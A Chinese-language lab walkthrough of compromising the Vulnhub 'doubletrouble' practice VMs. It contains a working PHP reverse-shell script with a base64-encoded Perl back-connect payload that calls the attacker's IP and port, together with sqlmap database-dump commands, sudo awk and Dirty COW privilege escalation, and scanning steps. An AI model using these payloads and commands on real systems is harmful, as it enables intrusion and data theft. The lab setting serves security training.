Vulnhub實戰-doubletrouble靶機👻

Vulnhub實戰-doubletrouble靶機

靶機下載地址://www.vulnhub.com/entry/doubletrouble-1,743/
下載頁面的ova格式文件導入vmware,或者vitrualbox打開即可

靶機1滲透測試

1.靶機描述

描述
回到頂部
獲得標誌
難度:容易
關於 vm:從 virtualbox 測試並導出。dhcp 和嵌套 vtx/amdv 啟用。您可以通過電子郵件與我聯繫以進行故障排除或問題。
這對 VirtualBox 比 VMware 更有效
這裡有個小tips:因為這個ova格式文件是從vitrualbox虛擬機裡面導出來的,所以你如果在vmware裡面打開就接收不到
ip地址,因為vitrualbox的網卡名字是eth什麼的,後面接數字一般。然後vmware的網卡名字一般是ens開頭,所以你在
vitrualbox導出的虛擬機在vmware打開就不會自動獲取IP,你需要把網卡改成一致然後重啟才能獲取IP。如果不會改網
卡,請參考下面鏈接:
//blog.csdn.net/PeterWuu/article/details/105640638
這個教程第二步好像是:rw single init=/bin/bash
應該不是i,教程上面寫的是i,可能作者手誤吧!😂

2.進行主機發現,埠掃描

首先我們把虛擬機導入vmware或者vitrualbox,這裡我是導入的vmware,然後開啟它就好了

  1. 進行主機探測

nmap -sn 192.168.33.0/24

image

我這裡區域網的虛擬機比較多,如果你的區域網虛擬機也比較多分辨不出來的話,你可以通過mac地址去匹配對應的ip地址,mac地址在虛擬機設置裡面可以看到

  1. 進行埠掃描

nmap -sS -p- -v -O 192.168.33.163

image

我們可以看到開啟了22和80埠,證明開啟了SSH和web服務,這裡前面文章有提到,你可以嘗試試試暴力破解SSH的用戶名密碼,用kali自帶的hydra工具,經過我上一次嘗試,發現機率微乎其微,除非用的是admin:123456這樣的弱口令。

3.web服務檢測

我們訪問ip地址192.168.33.163得到如下頁面

image

我們還是首先用dirsearch目錄掃描一下

python3 dirsearch.py -u '//192.168.33.163' -i 200

image

我們可以看到果然掃出了一下常見目錄,挨個目錄查看,都沒有發現什麼東西,最後發現/secret/目錄下面有一張圖片,百度發現可以用stegseek工具來暴力破解這張圖片。
下載參考鏈接://www.freebuf.com/sectool/261633.html
然後我們通過kali自帶的字典rockyou.txt,這個字典在kali的/usr/share/wordlist目錄下面,是一個壓縮包,需要先進行解壓

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

image

我們破解完這張圖片之後生成一個output文件,發現裡面有一個用戶名跟密碼,不用猜肯定是剛剛那個登錄頁面的用戶名密碼,我們來試一試吧!😎
登陸進去之後發現一個文件上傳,在個人設置裡面

image

qdPM漏洞利用

在一開始的登陸頁面我們可以看到有個qdPM 9.1,搜索qdPM 9.1的漏洞,我們找到一個遠程程式碼執行漏洞。//www.exploit-db.com/exploits/50175, 把腳本下載下來。這個腳本的回車有點問題,需要自己調一下。不過,這個漏洞也挺簡單的,其實就是用戶的myAccount介面的圖片那一欄是可以上傳文件的,那我們就可以上傳一個php反彈shell的腳本。
這裡我不知道啥情況,反正這個腳本我搞不明白,python腳本怎麼上傳php反彈shell呢,如果有大佬知道還望告知,這裡我找到一個php的反彈shell的腳本,大家改一下ip,埠就可以直接上傳用了。

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.33.217"; 
$yourport = '10086'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

這裡比較搞笑的是,無論是跑腳本還是自己手動上傳,網頁和程式碼的回饋都會讓你覺得自己是不是沒有上傳成功。會報錯,但是其實已經上傳成功了。
上傳之後腳本在剛剛開始我們目錄掃描的那個/uploads/users目錄下

image

然後kali監聽10086埠,這個埠是你腳本自己設置的埠。

nc -lnvp 10086

image

提權

接下來我們看一下當前用戶能夠使用的sudo許可權,這裡顯示當前用戶可以免密執行awk命令

image

搜索一下awk提權,我們可以這樣:

sudo awk 'BEGIN {system("/bin/bash")}'

image

我們可以看到此時我們已經是root用戶了,看看root文件夾,發現了一個ova文件,百度看了大佬部落格才知道這又是一個虛擬機,好傢夥!😂不愧是doubletrouble啊,果然跟題目還有點呼應,我們下載下來這個虛擬機文件在vmware中開啟。

我們在靶機中開啟http服務功能,然後kali通過wget下載下來,下載下來之後在vmware中開啟靶機。然後還是之前的步驟,掃描主機ip,埠,服務。

python3 -m http.server 9000

wget //192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

image

靶機2滲透測試

1.進行主機探測

nmap -sn 192.168.33.0/24

image

2.埠,服務發現

nmap -sS -p- -v -O 192.168.33.252

image

3.web服務測試

首先我們通過埠掃描發現開啟了80埠,說明存在http服務,我們訪問ip地址,看到如下一個登錄框頁面:

image

這裡讓我們輸入用戶名密碼,然而我們並不知道賬戶名也不知道密碼。嘗試掃描網站目錄發現沒有額外的資訊,就只有這麼一個網站。

sqlmap注入獲取用戶名密碼

我們還想到有一個神器sqlmap,通過sqlmap看看這個登錄框存不存在注入,抓包保存文件1.txt,在kali裡面打開sqlmap掃描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出資料庫名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables    //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns   //爆欄位
sqlmap -r /root/1.txt -D doubletrouble -T users --dump    //爆內容

image

image

image

image

我們看到這裡有兩對密碼,第一對似乎沒啥用,第二對能夠連上ssh

ssh [email protected]

image

提權

我們看了一下,這個用戶只是普通用戶,目錄下面有一個user.txt,裡面是一串字元,我們接下來就是想辦法拿到root許可權,看看root文件夾有什麼東東。我們先看看系統版本

uname -a

image

這裡有個臟牛漏洞,漏洞編號CVE-2016-5195漏洞類型內核競態條件漏洞漏洞危害本地提權影響範圍Linux kernel>2.6.22。該漏洞是Linux內核的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體映射。黑客可以獲取低許可權的本地用戶後,利用此漏洞獲取其他只讀記憶體映射的寫許可權,進一步獲取root許可權。他有很多個poc,其中這個poc可以生成一個帳號名為firefart的root用戶,//github.com/FireFart/dirtycow
我們把poc下載到靶機的/tmp目錄下,然後編譯,執行。

這裡因為靶機沒有git,wget,yum這些命令,所以我們可以把程式碼複製下來,在靶機通過touch dirty.c創建一個c文件,然後粘貼進去,編譯執行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中間會讓我們輸入一個密碼,這個密碼就是firefart的密碼,然後我們登錄就可以了

image


image